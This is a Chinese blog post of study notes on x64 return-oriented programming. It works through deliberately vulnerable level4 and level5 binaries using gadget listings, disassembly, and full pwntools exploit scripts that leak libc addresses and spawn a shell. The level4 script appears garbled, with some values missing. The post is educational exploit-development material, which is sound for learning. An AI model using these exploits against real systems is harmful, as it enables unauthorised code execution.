蒸米一步一步ROP X64学习笔记
原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STEP(冒昧的贴一下,
本文有一些作为一只菜鸡的思考,原文蒸米大大可能站的角度比较高,有的地方没有写清楚,这里权当补充一下
首先是level4,源代码如下
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
gcc -fno-stack-protector level4.c -o level4 -ldl
编译(github里提供的level4程序关闭了pie,我们这么编译打开PIE加大下难度:P
# checksec level4
[*] '/root/rop/rop/level4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
可以看到程序打开了NX和PIE,由于程序输出了system的地址,所以可以用system地址作为相对偏移,最后加上system地址绕过ASLR。
vulnerable_function存在栈溢出,所以可以构造payload=padding128+EBP+pop_rdi_ret+binsh+system_addr
构造这个payload可以成功的原因是padding128覆盖buf;调用函数时call func会push eip,这里的eip是返回地址,进入func时会push rbp,mov rbp,rsp开辟栈帧,所以需要在栈帧加入EBP;pop_rdi_ret即返回地址eip,调用函数返回时ret会pop eip,这里我们找一个pop rdi,ret的gadget就会执行之;调用函数返回执行ret时rsp指向pop_rdi_ret的地址,pop rip后rsp指向binsh,执行gadget的pop rdi会把binsh弹出rdi作为system调用的第一个参数,然后执行gadget的ret时rsp指向system_addr,就会执行system调用了
另:64位程序函数调用参数依次保存在RDI,RSI,RDX,RCX,R8和 R9
在源程序查找/bin/sh没有找到,只能在ibc里寻找
查找pop_rdi_ret(原作者用的程序可能是github那个版本的,我这里由于重新编译了竟然找到了gadget,当然源程序找不到gadget只能从libc里找了:P
p# ROPgadget --binary level4 --only "pop|ret"
Gadgets information
============================================================
0x000000000000093c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000093e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000940 : pop r14 ; pop r15 ; ret
0x0000000000000942 : pop r15 ; ret
0x000000000000093b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000093f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000770 : pop rbp ; ret
0x0000000000000943 : pop rdi ; ret
0x0000000000000941 : pop rsi ; pop r15 ; ret
0x000000000000093d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000686 : ret
Unique gadgets found: 11
构造exp程序如下
from pwn import * context(os='linux',arch='amd64',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./level4') binsh_offset=next(libc.search('/bin/sh'))-libc.symbols['system']
pop_rdi_ret_offset=0x1feea-libc.symbols['system'] system_str=p.recvuntil('\n')
system_addr=int(system_str,) binsh=binsh_offset+system_addr
pop_rdi_ret=pop_rdi_ret_offset+system_addr payload='A'*+'BBBBBBBB'+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr) p.sendline(payload)
p.interactive()
然后是一个比较有难度的level5
程序源代码如下
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
编译时关闭了PIE保护
可以看到这个程序只有一个栈溢出,又因为开启了NX保护,所以利用的思路就是system("/bin/sh")的函数地址和/bin/sh写入一个可写可执行段(.BSS);又因为程序调用了write和read,所以可以通过write输出write.got的地址,计算system和write的相对偏移从而计算libc system的地址
objdump -d level5查看level5的汇编,有一个通用构造gadgets的函数
<__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
400629: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
这个函数里先执行400606再执行4005f0有以下赋值过程
RDI,RSI,RDX
[RSP+0X8]->RBX
[RSP+0X10]->RBP
[RSP+0X18]->R12
[RSP+0X20]->R13;R13D->EDI
[RSP+0X28]->R14->RSI
[RSP+0X30]->R15->RDX
CALL [R12+RBX*8]
我们先构造一个payload输出write在got表中的地址
write(rdi=1, rsi=write.got, rdx=8)
ssize_t write(int fd, void *buf, size_t count);
init_addr=0x400606
func_addr=0x4005f0
payload1=padding128+ebp+init_addr+p64(0)+p64(0)+p64(1)+write.got+p64(1)+write.got+p64(8)+p64(func_addr)+padding56+p64(main)
这个payload可以成功的原因:padding128+ebp覆盖buf空间,在vulnerable_function执行结束ret时执行init_addr,即0X400606开始的赋值指令,此时RSP指向p64(0)的位置,各寄存器依次如下赋值。
显然执行到0X400624时,并没有执行过压栈出栈指令,RSP依然指向p64(0)的位置,此时执行0X400624,esp+=0x38,上图栈中数据正好8*7=0X38个,所以执行完0X400624后esp正好指向P64(func)的位置。此时执行0x400628ret则执行func,执行到0x4005f9 call(r12+rbx*8)即call write,(在Linux中,值为0、1、2的fd分别代表标准输入、标准输出和标准错误输出,在程序中打开文件得到的fd从3开始增长)
所以这时执行write(1,write.got,8)则会把8字节write.got地址输出到标准输出,这时p.recv(8)即可得到write.got的地址
此时我们得到write.got地址即可通过
system_offset=libc.symbols['write']-libc.symbols['system']
write_addr=u64(p.recv(8))
system_addr=write_addr-system_offset
得到system在libc中的地址。
payload最后+padding56+p64(main)的意思是执行完write后由于rbp=rbx,会依次执行到0x400624,由于我们需要继续利用栈溢出,所以需要返回main函数,所以需要填充一个56大小的padding,然后ret返回main函数
接下来就是要把system和/bin/sh的地址写入.bss,然后再执行system("/bin/sh")即可。payload构造过程与payload1类似,EXP如下
from pwn import *
context(os='linux',arch='amd64')
elf=ELF('level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./level5')
init_addr=0x400606
func_addr=0x4005f0
got_write=elf.got['write']
got_read=elf.got['read']
main=0x400564
bss_addr=0x601028
system_offset=libc.symbols['write']-libc.symbols['system']
#write(rdi=1, rsi=write.got, rdx=8)
payload1='\x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_write)+p64(1)+p64(got_write)+p64(8)
payload1+=p64(func_addr)+'\x00'*56+p64(main)
p.recvuntil("Hello, World\n")
p.send(payload1)
sleep(3)
print "send payload1\n"
write_addr=u64(p.recv(8))
system_addr=write_addr-system_offset
p.recvuntil("Hello, World\n")
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2='\x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_read)+p64(0)+p64(bss_addr)+p64(16)
payload2+=p64(func_addr)+'\x00'*56+p64(main)
p.send(payload2)
sleep(3)
print "send payload2\n"
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(3)
print "please wait\n"
p.recvuntil("Hello, World\n")
#system(rdi = bss_addr+8 = "/bin/sh")
payload3='\x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(bss_addr)+p64(bss_addr+8)+p64(0)+p64(0)
payload3+=p64(func_addr)+'\x00'*56+p64(main)
sleep(3)
p.send(payload3)
print "send payload3\n"
p.interactive()
关于几个利用的细节问题:
1.要先执行elf=ELF('level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')再执行process('./level5'),最后才能得到一个稳定的shell
2.每一次send(payload)要sleep一下,不sleep 也会不稳定
3.payload中用A之类的替换\x00会导致Got EOF while sending in interactive的问题
本文作者很菜,这几个细节问题并不知道是什么原因。如果凑巧有大佬看到这篇文章,望不吝赐教
答:
2.如果不调用sleep可能会出现多个payload一起send的情况,坑(
蒸米一步一步ROP X64学习笔记的更多相关文章
- Rop框架学习笔记
1. 提供了开发服务平台的解决方案:比如应用认证.会话管理.安全控制.错误模型.版本管理.超时限制 2. 启动:RopServlet截获http请求 配置: <servlet> < ...
- 一步一步学ROP之linux_x64篇(蒸米spark)
目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ...
- 一步一步学ROP之linux_x86篇(蒸米spark)
目录 一步一步学ROP之linux_x86篇(蒸米spark) 0x00 序 0x01 Control Flow Hijack 程序流劫持 0x02 Ret2libc – Bypass DEP 通过r ...
- 一步一步学ROP之gadgets和2free篇(蒸米spark)
目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...
- 一步一步学ROP之linux_x64篇
一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...
- 一步一步学ROP之linux_x86篇
一步一步学ROP之linux_x86篇 作者:蒸米@阿里聚安全 一.序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过 ...
- 一步一步pwn路由器之rop技术实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...
- 一步一步学习JNI
本文来自网易云社区 作者:孙有军 前言 本篇的主要目的就是JNI开发入门,使大家对JNI开发流程有一个大致的了解,后续再进行深入学习. JNI不是Android特有的,JNI是Java Native ...
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
随机推荐
- JSP 学习总结 03 核心组件 Servlet
1 Servlet 简绍 Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,主要功能在于交互式地浏览和修改数据,生 ...
- Golang 入门系列(二)学习Go语言需要注意的坑
上一章节我们已经了解了 Go 环境的配置,不了解的,请查看前面的文章 https://www.cnblogs.com/zhangweizhong/p/9459945.html,本章节我们将学习 Go ...
- python处理Windows平台上路径有空格
最近在采集windows上中间件的时候,遇到了文件路径有空格的问题. 例如:Aapche的安装路径为D:\Program Files\Apache Software Foundation\Apache ...
- [第二届构建之法论坛] 预培训文档(Java版)
本博客是第二届构建之法论坛暨软件工程培训活动预培训文档中[适用于结对编程部分的Java版本],需要实验者有一部分Java基础. 目录 Part0.背景 Part1.配置环境 配置JDK Linux 平 ...
- 【翻译】IdentityServer4:基于资源的配置
这篇文章基于https://leastprivilege.com/2016/12/01/new-in-identityserver4-resource-based-configuration/进行翻译 ...
- 洛谷P3957 跳房子(Noip2017普及组 T4)
今天我们的考试就考到了这道题,在考场上就压根没有思路,我知道它是一道dp的题,但因为太弱还是写不出来. 下来评讲的时候知道了一些思路,是dp加上二分查找的方式,还能够用单调队列优化. 但看了网上的许多 ...
- [SimplePlayer] 4. 从视频文件中提取音频
提取音频,具体点来说就是提取音频帧.提取方法与从视频文件中提取图像的方法基本一样,这里仅列出其中的不同点: 1. 由于目的提取音频,因此在demux的时候需要指定的是提取audio stream Au ...
- Nginx 11阶段的顺序处理
L49
- css---遮罩层
<div id="body"> 显示页面的全部内容 <div id="open">打开弹框</div> </div&g ...
- git 的简单实用
一. 安装 Git(git_for_windows.xp510.com.rar) 二. 使用 a) 进入到 git bash(命令行工具) b) 初始化user.name,user.email $ g ...